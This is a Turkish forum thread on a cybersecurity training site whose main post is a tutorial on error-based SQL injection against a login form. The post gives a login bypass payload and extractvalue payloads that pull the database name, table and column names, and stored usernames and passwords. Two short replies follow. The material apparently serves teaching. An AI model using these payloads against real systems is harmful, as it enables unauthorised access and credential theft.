1. Bu site çerezler kullanır. Bu siteyi kullanmaya devam ederek çerez kullanımımızı kabul etmiş olursunuz. Daha Fazla Bilgi.
  2. Ulusal Siber Güvenlik Akademisi olarak sizlere bu alanda siber güvenlik & ethical hacking eğitimi , günümüz siber saldırılarında kullanılan araç ve teknikleri kullanarak, siber güvenlik konusunda sizlere saldırı ve savunma yönünden eğitimler ile sizlerin çözümler üretebileceğiniz bir siber dünya sunuyoruz .

  1. Çevrimiçi
    dokki

    dokki Teğmen

    • Mesaj:  5
    • Alınan Beğeniler:1
    11 Haziran 2018
    Cinsiyet:
    Erkek
    Sql injection çeşitlerinden güvenlik riski yüksek olan diğer bir açığı makaleye dökelim.
    Bu yazımda extractvalue error based ile login bölümünden sql injection yapacağız.


    [​IMG]









    Yukarıda gördüğünüz gibi normal bir login giriş bölümü şimdi rastgele birşeyler girelim.
    [​IMG]








    Resimde gördüğünüz gibi hata verdi sql sorgumuzu inceleyelim;
    select * from uyeler where username='asd' and password='asd'

    şimdi bir de kullanıcı adı bölümüne: '=' 'or' ile deniyelim.
    select * from uyeler where username=''=' 'or' ' and password=''=' 'or' '
    yukarıdaki sorgudan anlaşılacağı gibi username='' deki ve password='' deki
    tırnakları aşmış sorguyu değiştirmiş oluyoruz böylece true dönüyor ve login oluyoruz.
    [​IMG]







    Şimdi gelelim extractvalue ile veri çekmeye;
    Kullanıcı adı bölümüne : a'and extractvalue(0x1,concat(0x1,(select database())))-- basit bir sorgu ile database adını çekmeyi deniyeceğiz şifre bölümüne ise ' tek tırnak koymanız yeterli -- ifadesi sorguyu kapatacağı için ' tırnak ile true döndüreceğiz sorguyu
    select * from uyeler where username=a'and extractvalue(0x1,concat(0x1,(select database())))--' and password=' ve sonuçlara bakalım gördüğünüz gibi database adı geldi.
    [​IMG]






    gördüğünüz gibi database adı geldi. Şimdi kolonları çekelim;

    and extractvalue(0x1,concat(0x1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))-- yazıyoruz;
    [​IMG]







    şimdi tek tek limitimizi değiştirip tek tek sorguları ekrana yazdırıyoruz.

    and extractvalue(0x1,concat(0x1,(select column_name from information_schema.columns where table_schema=database() and table_name='uyeler' limit 0,1)))--
    Not:Eğer -- veya # sorgu sonlandırılmıyorsa sorgunun sonuna and'1 ekleyerek de sorgunun syntax hatasız çalışması sağlanır.
    [​IMG]







    üyeler tablosundakileri listeledik id , username , password var benim işimi yarıcak iki veri var username ve password şimdi sorgumuzu ona göre yazıp username ve password daki verileri ekrana yazdıracağız ve sonuç alttaki resimde olduğu gibi eğer veritabanında birden çok veri varsa limiti değiştirip çekebilirsiniz.
    [​IMG]





    Not: Extravalue toplam 32 karakter döndürür daha fazlasını okumak için substring kullanılır.
    Örnek Sorgu:'and 1=extravalue(null,concat(0x3a,(select substring(table_name,32,32) from information_schema.tables where table_schema=database() limit 1 offset 0)))
     
    FreeWaLLe bunu beğendi.
  2. Çevrimiçi
    FreeWaLLe

    FreeWaLLe Yeni Üye

    • Mesaj:  1
    • Alınan Beğeniler:0
    13 Haziran 2018
    Cinsiyet:
    Erkek
    Teşekkürler güzel paylaşım olmuş
     
  3. Çevrimiçi
    alfuas

    alfuas Yeni Üye

    • Mesaj:  3
    • Alınan Beğeniler:0
    14 Haziran 2018
    Cinsiyet:
    Erkek
    Daha önce de Sql injection saldırısı ile ilgili bir şeyler okuduğumu hatırlıyorum kafama yine aynı soru takılmıştı.Biz bu Sql sorgularını tam olarak nereye yazıyoruz ? Sonuçta veri tabanından bilgi çekebilmek için bir şekilde veri tabanıyla bir iletişimimizin olması gerekiyor.